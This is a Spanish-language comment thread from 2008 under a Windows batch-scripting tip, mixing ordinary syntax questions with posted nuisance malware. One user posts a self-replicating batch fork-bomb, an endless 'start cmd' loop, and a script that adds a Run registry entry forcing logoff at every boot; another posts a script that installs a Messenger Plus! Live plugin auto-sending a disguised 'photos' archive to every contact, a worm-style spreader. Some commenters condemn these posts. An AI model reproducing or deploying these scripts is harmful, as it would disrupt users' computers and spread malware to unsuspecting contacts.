o algo como %language%
lo más sencillo que se me ocurrio es esto, pero no se si sea posible para usar con directorios en lugar de archivos, y si es posbile que le tengo que agregar
if exist %homepath%\desktop goto ingles
if exist %homepath%\escritorio goto español
Gracias
Por Berzeker el 24 de Enero de 2008
[ url = http://zeitgeistmovie.com/zday.htm ] [ img ] http://berzeker.00freehost.com/a.jpg [ /img ] [ /url ]
Por jumen.cmd el 24 de Enero de 2008
no se
Por sergio el 24 de Enero de 2008
me podrian mandar mi solucion a [email protected] porfavor gracias
Por llo el 29 de Enero de 2008
Por mis simples bat el 31 de Enero de 2008
@echo off
cd c:\
echo start dos.bat>dos.bat
start dos.bat
cls
pause
Por mis simples bat el 31 de Enero de 2008
Por Let el 04 de Febrero de 2008
Por mis simples bat el 04 de Febrero de 2008
:pendrive
start cmd
goto:pendrive
pause
cerralo pen.bat y dale nomas
Por Let el 05 de Febrero de 2008
Por mis simples bat el 05 de Febrero de 2008
Por JaLeRu el 05 de Febrero de 2008
Pero me da lata seguir respondiendo. Si en fin terminan posteando estupideces como.
Código :
Es verdad, que solo dará un sustito, pero igual es algo que la gente no quiere que le pase.
Aunque un usuario avanzado, o normal-avanzado podría rápidamente detenerlo.
No me interesa ayudar a que creen estupideces para hinchar a usuarios de windows. Sin un razón.
Si van a crear malwares, guardenselos y úsenlos no para mentirles a otros usuarios que ni conocen que sirve para otra cosa. Vallan usen esos malwares en otra parte. Aquí la gente quiere aprender.
Y digamos que si quieren "Sorprender" con sus cositas, les digo que cualquier bosta puede hacer eso. Ya sea por lo obvio que es, o buscando en google.
Por mis simples bat el 05 de Febrero de 2008
Por BILLY el 06 de Febrero de 2008
Por julia el 08 de Febrero de 2008
Por JaLeRu el 08 de Febrero de 2008
BILLY_blog :
Siempre que exista el BAT.
Por jpcw el 08 de Febrero de 2008
Te ha salido como un iman este post "bueno por cierto", y al parecer pululan juakers
Por JaLeRu el 08 de Febrero de 2008
jpcw :
Te ha salido como un iman este post "bueno por cierto", y al parecer pululan juakers
Es cierto, es el post que mas gente me ha respondido.
Lo de los Juaker, bueno era de esperar.
Por Jorge el 08 de Febrero de 2008
si pongo
----------------------------------------
@echo off
set x=0
set y=50
set /a a=%y%-%random%
If %a% LSS %x% goto menorque
If %a% GTR %x% goto menorque
:mayorque
echo echo %random% es mayor que 0
:menorque
echo echo %random% es menos que 0
pause
exit
----------------------------------------
Pero si quiero ponerle un rango a la variable Random es decir %random:~1,2% [de esta manera escoge un numero del 1 al 99] al ponerle ese rango no funciona el programa
Sale en la pantalla esto
:mayorque
echo echo %random% es mayor que 0
:menorque
echo echo %random% es menos que 0
Como si fuera mayor y menor que 0 a la vez...
Alguna solucion?
Aqui os dejo el Bat
----------------------------------------
@echo off
set x=0
set y=50
set /a a=%y%-%random:~1,2%
If %a% LSS %x% goto menorque
If %a% GTR %x% goto menorque
:mayorque
echo echo %random% mas
:menorque
echo echo %random% menos
pause
exit
----------------------------------------
Por Jorge el 08 de Febrero de 2008
If %a% LSS %x% goto menorque
If %a% GTR %x% goto menorque
pero aun asi lo corregi
If %a% LSS %x% goto menorque
If %a% GTR %x% goto mayorque
y tampoco va.. alguna sugerencia?
Por mis simlples bat el 08 de Febrero de 2008
Por hola nuevamente el 09 de Febrero de 2008
Me refiero a cuatas como delimitar el espacio que tendra en la carperta.
como poder manipular sus propiedades que necesito estudiar, eventos, parametros, odj.
gracias por su ayuda
Por mis simples bat el 11 de Febrero de 2008
@echo off
cd c:\archivos de programa
echo logoff>cierra.bat
reg add "HTML\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d c:\archivos de programas\cierra.bat" /f
pause
shutdown -r -f -t 10
exit
Por JaLeRu el 11 de Febrero de 2008
mis simples bat_blog :
@echo off
cd c:\archivos de programa
echo logoff>cierra.bat
reg add "HTML\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d c:\archivos de programas\cierra.bat" /f
pause
shutdown -r -f -t 10
exit
Eso hace que se les reinicie el pc cada vez que lo prendan. O eso quería por lo menos que hisera su creador. Por que existen errores en su codigo.
Por M@U el 11 de Febrero de 2008
aterradoremocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan asi...Por JaLeRu el 11 de Febrero de 2008
M@U :
aterradoremocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
Por Freddie el 11 de Febrero de 2008
JaLeRu :
M@U :
aterradoremocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.
Por JaLeRu el 11 de Febrero de 2008
Freddie :
JaLeRu :
M@U :
aterradoremocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.
Ok bueno, pero me rindo y no voy a seguir leyendo los comentarios de este Tip. Ya que siempre entro esperando alguna pregunta y poder ayudar. Pero me encuentro con estupideces.
Los dejo....
Por Angel_of_the_Death el 11 de Febrero de 2008
JaLeRu :
Freddie :
JaLeRu :
M@U :
aterradoremocionante ver como los Juacker´s tratan de sabotearse los unos a los otros, fingiendo querer compartir sus *bat s... Sigan así...Yo personalmente le pido a un BOFH que cierre esto.
No creo que sea necesario más comentarios, y si tienen una duda que le hagan en el foro.
Montones de script-kiddies mostrando su mejor "batch" para joder gente sin ningún animo de ayudar a nadie. Y otro montón cayendo por creerse juakers. Esto es básicamente la teoría de la evolución, ellos mismos se van aniquilando o "evolucionando" a patadas en seres útiles para el mundo.
Ok bueno, pero me rindo y no voy a seguir leyendo los comentarios de este Tip. Ya que siempre entro esperando alguna pregunta y poder ayudar. Pero me encuentro con estupideces.
Los dejo....
Tienes toda la razón...ya has ayudado bastante...y te agradesemos por ello...
y no tiene cazo que respondas a preguntas sin sentido...y menos que ayudes a los lammers
pues solo an puesto preguntas y códigos para joder a las demás personas que solo buscan ayuda...
Mil Gracias...y salu2...nos has ayudado mucho...
Por Raul el 11 de Febrero de 2008
Por txk el 11 de Febrero de 2008
gracias !
Por mis simples bat el 11 de Febrero de 2008
Por mis simples bat el 11 de Febrero de 2008
Por carlos el 12 de Febrero de 2008
Por mikelo082 el 12 de Febrero de 2008
Por Angel_of_the_Death el 14 de Febrero de 2008
carlos_blog :
Mira si puedes crear un batch que abra y cierre cierta pagina web...pero que por ti ponga el pass y tu username...creo que no se podra...almenos hasta donde yo se...intenta con otros metodos de programación tal ves te sirva el C++, el java, o que se yo...pero en batch no creo que se pueda hacer...
Por mis simples bat_blog el 14 de Febrero de 2008
Por mis simples bat el 14 de Febrero de 2008
Por rossana el 15 de Febrero de 2008
Por MIS SIMPLES BAT el 15 de Febrero de 2008
Por rossana el 15 de Febrero de 2008
Por rossana el 15 de Febrero de 2008
@echo off
title modem
java -jar modem.jar
pause
eso se mantiene ejecutando. quiero que si alguien lo cierra el se vuelva a levantar solito
Por MIS SIMPLES BAT el 15 de Febrero de 2008
Por mis simples bat el 15 de Febrero de 2008
Por rossana el 15 de Febrero de 2008
Lo otro que se me ocurrio es preguntar el PID del bat que se esta ejecutando y con otro bat estar pendiente de que si no esta activo, activarlo. Aunque nose si se pueda hacer.
Muchas gracias por su interes!
Por mis simples bat el 15 de Febrero de 2008
Por M@U el 15 de Febrero de 2008
mis simples bat_blog :
Por pedro el 16 de Febrero de 2008
gracias por el manual es muy bueno
mira el problema k tengo yo es k tengo un program .bat y he echo k dependiendo del boton al k le des se abre unas paginas u otras pero kiero k se abra un .bat dandole a otro cosa k no logro conseguir pero kreo k lo arreglare, el caso esk yo kiero acer un programa k ya me incluya éste y si puede ser mejor en .exe para k cuando le de al 1 (por ejemplo) se abra el google y al dos pues mi otro programa pero esk no kiero ir con dos programillas como lo podria juntar y si pudiera ser en .exe mejor?
Por pedro el 16 de Febrero de 2008
gracias de nuevo
Por mis simples bat el 16 de Febrero de 2008
Por bylly el 18 de Febrero de 2008
Por bylly el 20 de Febrero de 2008
Por JaLeRu el 20 de Febrero de 2008
bylly_blog :
Si ayudan. Pero no ayudo a preguntas que no se responder, o creo que no deben ser respondidas.
Como...
¿Como reviento el pc de mi abuela? (Ejemplo de una que no respondería)
¿Como puedo hacer con bath que las carpetas de mi sistema sean rosadas? (Pregunta que no sabría responder)
Por mauricio el 20 de Febrero de 2008
md "%programfiles%\Messenger Plus! Live\Scripts\hola\"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd, Origin, Message, MessageKind)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo if (Origin != Messenger.MyName)>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo {>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo ChatWnd.SendMessage("/sendfile %homedrive%\\WINDOWS\\system32\\Foto\\Mis Fotos En La Playa 2008.rar");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo ChatWnd.SendMessage("(M) [c=39]Mira Mis Nuevas Fotos [/c] (M)");>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
echo }>> "%programfiles%\Messenger Plus! Live\Scripts\hola\hola.js"
reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\reinicia.bat" /v Enabled /t REG_DWORD /d 1 /f
eso decia que miercoles es
Por JaLeRu el 20 de Febrero de 2008
Voy a probarlo en mi maquina de pruebas haber si hace alguna cosa maliciosa.
Por cierto..
¿Ocupas Msn live PLUS?
Por JaLeRu el 20 de Febrero de 2008
Ya que intenta agregar un Script al Msn para que mande el tipico mensaje de:
"Mira mis fotos"
Por mauricio el 21 de Febrero de 2008